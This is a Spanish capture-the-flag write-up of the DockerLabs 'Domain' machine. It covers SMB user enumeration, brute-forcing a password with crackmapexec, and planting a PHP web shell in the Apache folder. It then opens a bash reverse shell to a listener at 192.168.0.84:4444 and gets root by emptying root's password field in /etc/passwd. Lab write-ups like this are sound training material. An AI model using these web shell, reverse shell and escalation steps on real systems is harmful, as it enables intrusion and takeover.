Post

Domain Writeup - DockerLabs

Información
Máquina: Domain
Creador: El Pingüino de Mario
SO: Linux
Dificultad: Medium

Esta máquina está alojada en DockersLabs, una nueva plataforma creada por ElPingüinoDeMario con un concepto diferente al que estamos acostumbrados, en lugar de conectarnos a una vpn o virtualizar una máquina se realiza la conexión a la máquina vulnerable a través de Docker, pudiendo correr en la propia máquina atacante la víctima, una muy buena idea para ahorrar recursos.

El tutorial para poder realizar estas máquinas se encuentra aquí


Comenzamos realizando un ping para confirmar visibilidad entre máquinas

Realizamos un nmap para descubrir que servicios están corriendo en la máquina

Vemos que hay un servidor web Apache y un servidor samba corriendo.

Samba es una suite de aplicaciones Unix que habla el protocolo SMB (Server Message Block). Los sistemas operativos Microsoft Windows y OS/2 utilizan SMB para compartir por red archivos e impresoras y para realizar tareas asociadas.

En la web nos encontramos una breve explicación de qué es samba y para qué se usa.

Realizo un fuzzeo en busca de directorios, subdirectorios y subdominios interesantes pero sin éxito.

Nos centramos en el servidor smb, lanzamos enum4linux, para una posible enumeración de usuarios

1
enum4linux 172.17.0.2

Descubrimos dos usuarios: James y Bob

Creamos un diccionario con los dos nombres para realizar fuerza bruta con crackmapexec

1
2
3
crackmapexec smb 172.17.0.2 -u users.txt -p /usr/share/wordlists/rockyou.txt
-----------------------------------------------------------------------------------
SMB         172.17.0.2      445    86B2D8C57A0E     [+] 86B2D8C57A0E\bob:star 

Conseguimos las credenciales para bob: bob@star

1
smbmap -H 172.17.0.2 -u 'bob' -p 'star'

Nos encontramos con que bob tiene permisos para modificar la carpeta html del servidor Apache, vamos a intentar subir un archivo PHP para realizar RCE.

Para acceder al recurso en el servidor smb usamos el comando:

1
smbclient //172.17.0.2/html -U bob

Hacemos una pequeña prueba subiendo un archivo con el comando ‘put’

Llamamos al archivo y comprobamos que funciona correctamente

Modificamos nuestro archivo rce.php subiendo un cmd para realizar el RCE

1
2
3
<?php
        system($_GET['cmd']);
?>

Volvemos a realizar la comprobación:

Procedemos a enviar una revshell

1
bash -c "bash -i >%26 /dev/tcp/192.168.0.84/4444 0>%261"

Conseguimos una shell como el usuario www-data, nos cambiamos al usuario bob y comprobamos los privilegios.

Pruebo a leer el /etc/shadow desde nano con este procedimiento de GTFObins

No somos capaces de leerlo, sin embargo haciendo la llamada directamente con el binario sí somos capaces de leer el shadow.

Se puede observar que el inicio de sesión con contraseña está desactivado para root

Vamos al fichero /etc/passwd:

Eliminamos la x, dejando al usuario root de la siguiente forma:

1
root::0:0:root:/root:/bin/bash

Después de este proceso con el comando su root ya tendremos permisos como root y habremos vulnerado la máquina.

This post is licensed under CC BY 4.0 by the author.